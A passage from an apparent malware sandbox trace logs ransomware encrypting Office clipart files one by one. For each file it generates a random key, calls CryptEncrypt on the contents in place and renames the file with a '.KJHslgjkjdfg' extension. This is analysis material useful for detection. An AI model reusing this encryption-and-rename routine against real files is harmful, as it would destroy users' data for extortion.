lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.869] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.870] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.870] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.870] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.870] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x816, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x816, lpOverlapped=0x0) returned 1 [0159.870] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x820, dwBufLen=0x820 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x820) returned 1 [0159.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.870] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x820, lpOverlapped=0x0) returned 1 [0159.870] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.870] SetEndOfFile (hFile=0x114) returned 1 [0159.872] GetProcessHeap () returned 0x2a0000 [0159.872] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0159.872] GetProcessHeap () returned 0x2a0000 [0159.872] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.kjhslgjkjdfg")) returned 1 [0159.873] CloseHandle (hObject=0x114) returned 1 [0159.873] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1 [0159.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.875] GetProcessHeap () returned 0x2a0000 [0159.875] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.875] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.875] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.875] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0159.877] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.877] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.877] GetProcessHeap () returned 0x2a0000 [0159.877] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.877] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.877] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.877] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.877] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.878] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.878] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.878] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.878] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.878] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.878] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.878] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.878] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d8f, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d8f, lpOverlapped=0x0) returned 1 [0159.879] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d90, dwBufLen=0x1d90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d90) returned 1 [0159.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.879] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1d90, lpOverlapped=0x0) returned 1 [0159.879] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.879] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.879] SetEndOfFile (hFile=0x114) returned 1 [0159.881] GetProcessHeap () returned 0x2a0000 [0159.882] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.882] GetProcessHeap () returned 0x2a0000 [0159.882] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.kjhslgjkjdfg")) returned 1 [0159.882] CloseHandle (hObject=0x114) returned 1 [0159.883] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1 [0159.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.883] GetProcessHeap () returned 0x2a0000 [0159.883] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.883] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.883] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0159.885] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.885] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.885] GetProcessHeap () returned 0x2a0000 [0159.885] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.885] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.885] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.885] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.886] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.886] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.886] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.886] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.886] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.886] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.886] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x18bb, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x18bb, lpOverlapped=0x0) returned 1 [0159.887] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x18c0, dwBufLen=0x18c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x18c0) returned 1 [0159.887] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.887] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x18c0, lpOverlapped=0x0) returned 1 [0159.887] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.887] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.887] SetEndOfFile (hFile=0x114) returned 1 [0159.890] GetProcessHeap () returned 0x2a0000 [0159.890] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.890] GetProcessHeap () returned 0x2a0000 [0159.890] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.kjhslgjkjdfg")) returned 1 [0159.891] CloseHandle (hObject=0x114) returned 1 [0159.891] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ce600, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x636ce600, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1 [0159.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.892] GetProcessHeap () returned 0x2a0000 [0159.892] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.893] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.893] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.893] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0159.895] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.895] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.895] GetProcessHeap () returned 0x2a0000 [0159.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.895] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.895] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.895] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.895] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.895] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.895] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.895] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.895] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.895] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.895] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.895] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.895] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xeb4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xeb4, lpOverlapped=0x0) returned 1 [0159.895] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xec0, dwBufLen=0xec0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xec0) returned 1 [0159.895] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.896] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xec0, lpOverlapped=0x0) returned 1 [0159.896] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.896] SetEndOfFile (hFile=0x114) returned 1 [0159.898] GetProcessHeap () returned 0x2a0000 [0159.898] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.898] GetProcessHeap () returned 0x2a0000 [0159.898] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.898] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.kjhslgjkjdfg")) returned 1 [0159.899] CloseHandle (hObject=0x114) returned 1 [0159.899] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af3b00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0af3b00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1 [0159.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.900] GetProcessHeap () returned 0x2a0000 [0159.901] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.901] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.901] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.903] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.903] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.903] GetProcessHeap () returned 0x2a0000 [0159.903] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.903] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.903] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.903] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.903] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.903] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.903] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.903] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.903] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.903] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.903] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9a8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9a8, lpOverlapped=0x0) returned 1 [0159.903] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9b0, dwBufLen=0x9b0 | out: 